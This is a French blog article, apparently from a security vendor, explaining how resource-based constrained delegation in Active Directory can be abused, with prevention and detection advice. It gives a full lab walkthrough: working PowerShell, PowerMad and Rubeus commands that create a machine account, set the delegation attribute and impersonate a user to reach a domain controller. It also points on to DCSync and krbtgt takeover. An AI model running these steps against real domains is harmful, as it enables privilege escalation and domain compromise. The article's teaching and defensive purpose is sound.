Abus de délégation contrainte basée sur les ressources

La délégation est déroutante et compliquée pour la plupart des administrateurs informatiques. Active Directory offre une unconstrained delegation, une délégation contrainte et une délégation contrainte basée sur les ressources (RBCD).

Cet article de blog examine pourquoi la délégation contrainte basée sur les ressources est plus sécurisée que ses prédécesseurs — et comment elle peut encore être abusée et utilisée comme moyen de mouvement latéral et d'escalade de privilèges. Plus précisément, nous allons décrire un scénario dans lequel un adversaire abuse de la délégation contrainte basée sur les ressources et de certaines permissions mal configurées dans Active Directory pour créer des comptes d'ordinateurs dans Active Directory.

À la fin, nous fournissons le code pour les étapes de l'attaque et une FAQ qui donne plus d'informations sur les trois types de Kerberos delegation.

Les bases de RBCD

À partir de Windows Server 2012, la délégation contrainte basée sur les ressources peut être configurée sur la ressource ou directement sur le compte de l'ordinateur. Cela diffère des autres types de délégation, qui sont configurés sur les comptes accédant à la ressource. La délégation basée sur les ressources est contrôlée par l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity ; il stocke un descripteur de sécurité pour l'objet qui peut accéder à la ressource.

Pourquoi ce modèle de délégation est-il meilleur que ses prédécesseurs ? Microsoft le décrit ainsi : « En prenant en charge la délégation contrainte entre domaines, les services peuvent être configurés pour utiliser la délégation contrainte afin de s'authentifier auprès de serveurs dans d'autres domaines plutôt que d'utiliser une délégation non contrainte. Cela fournit un support d'authentification à travers des solutions de services de domaine en utilisant une infrastructure Kerberos existante sans avoir besoin de faire confiance aux services frontaux pour déléguer à n'importe quel service. »

Aperçu d'une attaque

Pour réaliser une attaque de délégation contrainte basée sur les ressources, un adversaire doit :

• Renseignez l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity avec un compte d'ordinateur sur lequel ils ont le contrôle.
• Connaître un SPN défini sur l'objet auquel ils souhaitent accéder

Par défaut, tous les utilisateurs peuvent créer 10 comptes d'ordinateurs (MachineAccountQuota), ces tâches sont donc faciles à réaliser à partir d'un compte non privilégié. Le seul privilège dont un attaquant a besoin est la capacité d'écrire l'attribut sur l'ordinateur cible en raison de certaines permissions mal configurées dans Active Directory.

Pour réaliser cela et montrer une preuve de concept rapide, nous utiliserons les outils suivants dans le scénario suivant :

1. Nous avons compromis un compte non privilégié sur un hôte Windows 10 qui a accès en écriture à l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity sur un contrôleur de domaine en raison de permissions Active Directory mal configurées.
2. Nous allons créer un nouveau compte d'ordinateur en utilisant PowerMad (autorisé en raison de la valeur par défaut de MachineAccountQuota).
3. Nous avons défini l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity pour contenir un descripteur de sécurité avec le compte d'ordinateur que nous avons créé.
4. Nous exploitons Rubeus pour abuser de la délégation contrainte basée sur les ressources.

Étape 1. Vérifiez l'accès du compte compromis.

Pour commencer, examinons le compte auquel nous, en tant qu'attaquants, avons accédé. SBPMLABnonadmin est simplement un compte d'utilisateur de domaine ordinaire qui dispose de privilèges d'administrateur local sur sa machine. La capture d'écran ci-dessous montre que nous ne pouvons pas accéder au partage administratif C$ de SBPMLAB-DC2 avec nos privilèges actuels :

En utilisant des outils qui énumèrent les permissions et les objets dans Active Directory, nous pouvons découvrir que nous avons certaines permissions sur un contrôleur de domaine, que nous ciblerons. Les scripts PowerShell ci-dessous identifieront partout où un SID d'utilisateur spécifique a un Contrôle total, Écrire, Modifier les permissions ou Écrire la propriété : msDS-AllowedToActOnBehalfOfOtherIdentity sur une machine ciblée

Étape 2. Créez un nouveau compte d'ordinateur.

Maintenant que nous savons que nous avons la capacité de modifier l'attribut que nous devons peupler, nous avons besoin d'un compte d'ordinateur que nous contrôlons pour effectuer la mise à jour. Puisque la valeur MachineAccountQuota a été laissée par défaut, nous pouvons utiliser PowerMad pour créer un compte d'ordinateur RBCDMachine avec le mot de passe ThisIsATest:

Étape 3. Autoriser le compte à agir au nom de l'autre identité.

Nous devons maintenant définir l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity pour qu'il contienne le descripteur de sécurité du compte d'ordinateur que nous avons créé, et remplir l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity du DC sur lequel nous avons des permissions :

Maintenant, nous devons juste obtenir le hachage du mot de passe ‘ThisIsATest’ pour notre compte RBCDMachine :

Hachage de mot de passe pour le compte RBCDMachine

Étape 4. Exploitez Rubeus pour abuser de RBCD.

Nous avons maintenant tout ce dont nous avons besoin pour utiliser Rubeus afin d'abuser de la délégation contrainte basée sur les ressources. Pour récapituler ce que nous avons recueilli jusqu'à présent :

• Un utilisateur que nous voulons usurper
• Le compte RBCDMachine$ que nous avons créé, qui est renseigné dans l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity du contrôleur de domaine cible
• Le hash pour le mot de passe du compte RBCDMachine$ (0DE1580972A99A216CED8B058300033F)
• Le servicePrincipalName auquel nous souhaitons accéder pour le contrôleur de domaine ciblé

En utilisant ces informations, nous pouvons exécuter la commande suivante dans Rubeus pour importer le ticket en mémoire :

s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt

Nous pouvons confirmer que le ticket de service a été importé avec succès en utilisant klist. Nous pouvons maintenant naviguer avec succès vers le partage administratif SBPMLAB-DCC$ sur le contrôleur de domaine et en lister le contenu :

Prochaines étapes

Après avoir obtenu l'accès au partage administratif sur le contrôleur de domaine cible, nous pouvons prendre des mesures pour assurer la persistance ou même élever davantage nos privilèges, telles que compromettre le fichier NTDS.dit.

Une autre option consiste à demander l'accès au service LDAP en modifiant le paramètre msdsspn dans la commande Rubeus, et à utiliser cela pour réaliser une DCSync attack et prendre le contrôle du the krbtgt account.

Voici le ticket mis en cache pour le service LDAP :

Et voici comment nous pouvons exécuter DCSync après avoir accédé à LDAP :

Détection et prévention des attaques

Récapitulons rapidement les étapes que nous avons suivies pour révéler certaines stratégies visant à prévenir ce type d'attaque :

1. Nous avons repris un compte qui avait la capacité de modifier l’attribut ‘msDS-AllowedToActOnBehalfOfOtherIdentity’ d’un contrôleur de domaine.
2. Nous avons créé un compte d'ordinateur en tirant parti du paramètre MachineAccountQuota par défaut.
3. Nous avons renseigné l'attribut avec le compte machine que nous avons créé.
4. Nous avons utilisé Rubeus pour demander un ticket pour le service LDAP sur le DC.
5. Nous avons réussi à exécuter DCSync pour prendre le contrôle du compte krbtgt.

Prévention

Comment pouvez-vous empêcher certaines de ces choses de se produire dans votre environnement ?

• Comprenez et verrouillez les permissions d'Active Directory. Savoir qui a accès à Active Directory est essentiel pour le sécuriser. Pouvoir modifier un attribut d'objet d'ordinateur n'est qu'une des voies qu'un attaquant peut utiliser pour exploiter votre environnement. Avoir la capacité de modifier l'appartenance à des groupes ou de réinitialiser les mots de passe d'autres utilisateurs au sein d'un environnement peut être tout aussi dommageable et beaucoup plus facile à exploiter avec des outils comme BloodHound. Découvrez la Netwrix Active Directory Security Solution pour apprendre comment elle peut vous aider à assurer que votre AD est configuré de manière sécurisée, identifier les droits d'accès excessifs et les administrateurs occultes, et détecter et prévenir les attaques sophistiquées en temps réel.
• Assurez-vous que les comptes sensibles qui ne devraient pas être délégués soient marqués comme tels. Placer un utilisateur dans le groupe des Utilisateurs Protégés ou cocher l'option ‘Le compte est sensible et ne peut pas être délégué’ arrêtera une attaque par délégation à ressources limitées sur-le-champ.

Détection

Pour détecter les attaques par délégation avec ressources limitées, vous pouvez faire ce qui suit :

• Surveillez la création de comptes d'ordinateurs par des utilisateurs non-administrateurs. L'attribut ‘mS-DS-CreatorSID’ est renseigné lorsqu'un utilisateur non-administrateur crée un compte d'ordinateur, donc vous pouvez utiliser cette commande pour identifier ces comptes :

      Get-ADComputer -Properties ms-ds-CreatorSid -Filter {ms-ds-creatorsid -ne "$Null"}
      

Code

• Identifiez les permissions sur un ordinateur ciblé ($target) pour le compte que nous possédons ($myaccount) :

      #Target Machine we want to check permissions on
$target = 'sbpmlab-dc2.sbpmlab.net'
$targetComputer = Get-ADComputer -Filter 'dnshostname -eq $target'
#SID of the account we have control over
$myaccount = Get-ADuser notadmin -Properties sid | select -ExpandProperty sid

#Identify schemaIDGUID of msDS-AllowedToActOnBehalfOfOtherIdentity
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
#Identify permissions our account has over a target computer
#Specifically Full Control, Write, Modify Permissions or Write Property: msDS-AllowedToActOnBehalfOfOtherIdentity
Import-Module C:ToolsPowerSploitReconPowerView_dev.ps1
$permissions = Get-ObjectAcl $target | ?{$_.SecurityIdentifier -match $myaccount -and (($_.ObjectAceType -match $schemaIDGUID.Keys -and $_.ActiveDirectoryRights -like '*WriteProperty*') -or ($_.ActiveDirectoryRights -like '*GenericAll*' -or $_.ActiveDirectoryRights -like '*GenericWrite*' -or $_.ActiveDirectoryRights -like '*WriteDACL*')) }
$permissions
      

• Vérifiez le paramètre MachineAccountQuota pour le domaine et créez un compte d'ordinateur en utilisant PowerMad :

      #Check MachineAccountQuotaValue
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'

#Use PowerMad to leverage MachineAccountQuota and make a new machine that we have control over
Import-Module C:ToolsPowermad-masterPowermad.ps1
$password = ConvertTo-SecureString 'ThisIsAPassword' -AsPlainText -Force
New-MachineAccount -machineaccount RBCDMachine -Password $($password)
      

• Mettez à jour l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity avec le nouvel ordinateur que nous avons créé :

      #Set msDS-AllowedToActOnBehalfOfOtherIdentity with our new computer object
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount RBCDMachine$
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount
      

• Obtenez le hash du mot de passe que nous avons défini pour notre compte d'ordinateur :

      #Get hash of password we set
import-module C:ToolsDSInternalsDSInternalsDSInternals.psd1
ConvertTo-NTHash $password
      

• Utilisez Rubeus pour exécuter l'abus RBCD :

      C:ToolsGhostPackRubeusRubeusbindebugRubeus.exe s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt
      

FAQ

Qu'est-ce que la délégation Kerberos ?

L'utilisation pratique de Kerberos delegation est de permettre à une application ou un service d'accéder à des ressources hébergées sur un serveur différent au nom d'un autre utilisateur.

Comment fonctionne la délégation sans contrainte ?

Unconstrained Kerberos delegation gives an application or service the ability to impersonate target user to any other chosen service.

Comment fonctionne la délégation restreinte ?

La délégation restreinte vous permet de configurer les services auxquels un compte peut être délégué. S4U2proxy est l'extension de la délégation restreinte Kerberos.

Comment fonctionne la délégation contrainte basée sur les ressources ?

Au lieu de spécifier quel objet peut déléguer à quel service, la ressource hébergeant le service spécifie quels objets peuvent lui déléguer.